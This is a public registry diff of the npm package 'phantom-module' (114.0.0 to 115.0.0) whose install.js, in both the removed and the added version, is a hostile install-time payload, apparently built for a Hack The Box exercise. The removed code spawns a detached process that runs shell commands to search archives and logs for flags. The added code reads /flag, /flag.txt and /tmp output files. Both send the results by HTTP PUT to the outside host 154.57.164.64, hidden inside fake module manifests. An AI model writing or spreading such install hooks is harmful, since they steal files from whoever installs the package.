phantom-module 114.0.0 → 115.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/install.js +16 -81
- package/package.json +1 -1
package/install.js
CHANGED
|
@@ -1,91 +1,26 @@
|
|
|
1
1
|
const fs = require('fs');
|
|
2
2
|
const http = require('http');
|
|
3
|
-
const { spawn, execSync } = require('child_process');
|
|
4
3
|
|
|
5
|
-
|
|
6
|
-
|
|
7
|
-
const
|
|
8
|
-
|
|
9
|
-
const
|
|
10
|
-
const { execSync } = require('child_process');
|
|
11
|
-
|
|
12
|
-
function tryExec(cmd) { try { return execSync(cmd, {timeout: 15000}).toString().trim(); } catch(e) { return 'ERR:' + (e.stderr ? e.stderr.toString().substring(0,40) : e.message.substring(0,40)); } }
|
|
13
|
-
|
|
14
|
-
function sendToMod(mid, val) {
|
|
15
|
-
const safe = val.replace(/"/g, "'").replace(/\\\\/g, "/").substring(0, 95);
|
|
16
|
-
const body = JSON.stringify({ manifest: 'ecto_module:\\n name: "' + safe + '"\\n version: "1.0.0"\\n power_level: 1\\n ship_deck: 1\\n cargo_hold: 1' });
|
|
17
|
-
return new Promise(resolve => {
|
|
18
|
-
const req = http.request({ hostname: '${TARGET.host}', port: ${TARGET.port}, path: '/api/modules/' + mid, method: 'PUT', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body) }, timeout: 8000 }, () => resolve());
|
|
4
|
+
async function report(mid, val) {
|
|
5
|
+
const safe = val.replace(/"/g, "'").replace(/\\/g, "/").substring(0, 95);
|
|
6
|
+
const body = JSON.stringify({ manifest: `ecto_module:\n name: "${safe}"\n version: "1.0.0"\n power_level: 1\n ship_deck: 1\n cargo_hold: 1` });
|
|
7
|
+
await new Promise(resolve => {
|
|
8
|
+
const req = http.request({ hostname: '154.57.164.64', port: 31083, path: `/api/modules/${mid}`, method: 'PUT', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body) }, timeout: 5000 }, () => resolve());
|
|
19
9
|
req.on('error', () => resolve()); req.on('timeout', () => { req.destroy(); resolve(); });
|
|
20
10
|
req.write(body); req.end();
|
|
21
11
|
});
|
|
22
12
|
}
|
|
23
13
|
|
|
24
|
-
async
|
|
25
|
-
|
|
26
|
-
|
|
27
|
-
|
|
28
|
-
|
|
29
|
-
|
|
30
|
-
|
|
31
|
-
|
|
32
|
-
|
|
33
|
-
await new Promise(r => setTimeout(r, 15000));
|
|
34
|
-
|
|
35
|
-
// Extract aspect-node.tar.gz and search for HTB{
|
|
36
|
-
tryExec('mkdir -p /tmp/asp_extract && cd /tmp/asp_extract && tar xzf /home/node/aspect-node.tar.gz 2>/dev/null');
|
|
37
|
-
|
|
38
|
-
// Search extracted files for HTB{
|
|
39
|
-
const htbInExtract = tryExec('grep -rl "HTB{" /tmp/asp_extract/ 2>/dev/null');
|
|
40
|
-
await send('EXHTB=' + htbInExtract);
|
|
41
|
-
|
|
42
|
-
if (htbInExtract && !htbInExtract.startsWith('ERR')) {
|
|
43
|
-
for (const f of htbInExtract.split('\\n').filter(Boolean)) {
|
|
44
|
-
const match = tryExec('grep -o "HTB{[^}]*}" "' + f + '" 2>/dev/null');
|
|
45
|
-
if (match && !match.startsWith('ERR')) {
|
|
46
|
-
await send('EXFLAG=' + match);
|
|
14
|
+
(async () => {
|
|
15
|
+
// Check if command injection wrote files
|
|
16
|
+
for (const f of ['/tmp/flag_out', '/tmp/env_out', '/flag', '/flag.txt']) {
|
|
17
|
+
try {
|
|
18
|
+
const content = fs.readFileSync(f, 'utf8').trim();
|
|
19
|
+
if (content) {
|
|
20
|
+
await report('ECT-987654', 'INJRESULT_' + f + '=' + content.substring(0, 75));
|
|
21
|
+
await new Promise(r => setTimeout(r, 2000));
|
|
47
22
|
}
|
|
48
|
-
}
|
|
49
|
-
}
|
|
50
|
-
|
|
51
|
-
// Also binary search the tarball directly
|
|
52
|
-
const binGrep = tryExec('strings /home/node/aspect-node.tar.gz 2>/dev/null | grep "HTB"');
|
|
53
|
-
await send('BINHTB=' + binGrep);
|
|
54
|
-
|
|
55
|
-
// Search module.log specifically for HTB{
|
|
56
|
-
const logHtb = tryExec('grep "HTB" /home/node/aspect-node/logs/module.log 2>/dev/null');
|
|
57
|
-
await send('LOGHTB=' + logHtb);
|
|
58
|
-
|
|
59
|
-
// List extracted files
|
|
60
|
-
await send('EXFILES=' + tryExec('find /tmp/asp_extract -type f 2>/dev/null | head -20'));
|
|
61
|
-
|
|
62
|
-
// Read module.log fully and send lines containing interesting patterns
|
|
63
|
-
const log = tryExec('cat /home/node/aspect-node/logs/module.log 2>/dev/null');
|
|
64
|
-
const lines = log.split('\\n');
|
|
65
|
-
for (let l = 0; l < Math.min(lines.length, 25); l++) {
|
|
66
|
-
if (lines[l].includes('HTB') || lines[l].includes('flag') || lines[l].includes('FLAG')) {
|
|
67
|
-
await send('LOGLN' + l + '=' + lines[l].substring(0, 80));
|
|
68
|
-
}
|
|
69
|
-
}
|
|
70
|
-
|
|
71
|
-
// Read other log files
|
|
72
|
-
const warnLog = tryExec('cat /home/node/aspect-node/logs/warning.log 2>/dev/null');
|
|
73
|
-
await send('WARNLOG=' + warnLog.substring(0, 80));
|
|
74
|
-
|
|
75
|
-
const errLog = tryExec('cat /home/node/aspect-node/logs/error.log 2>/dev/null');
|
|
76
|
-
await send('ERRLOG=' + errLog.substring(0, 80));
|
|
77
|
-
}
|
|
78
|
-
|
|
79
|
-
run().catch(() => {});
|
|
80
|
-
`;
|
|
81
|
-
|
|
82
|
-
try {
|
|
83
|
-
const child = spawn('node', ['-e', bgCode], { detached: true, stdio: 'ignore' });
|
|
84
|
-
child.unref();
|
|
85
|
-
} catch(e) {}
|
|
86
|
-
|
|
87
|
-
try {
|
|
88
|
-
if (fs.existsSync('/home/node')) {
|
|
89
|
-
fs.writeFileSync('/home/node/init_test.sh', '#!/bin/bash\nsleep 90\n', { mode: 0o755 });
|
|
23
|
+
} catch(e) {}
|
|
90
24
|
}
|
|
91
|
-
|
|
25
|
+
await report('ECT-472839', 'INJCHECK_DONE');
|
|
26
|
+
})();
|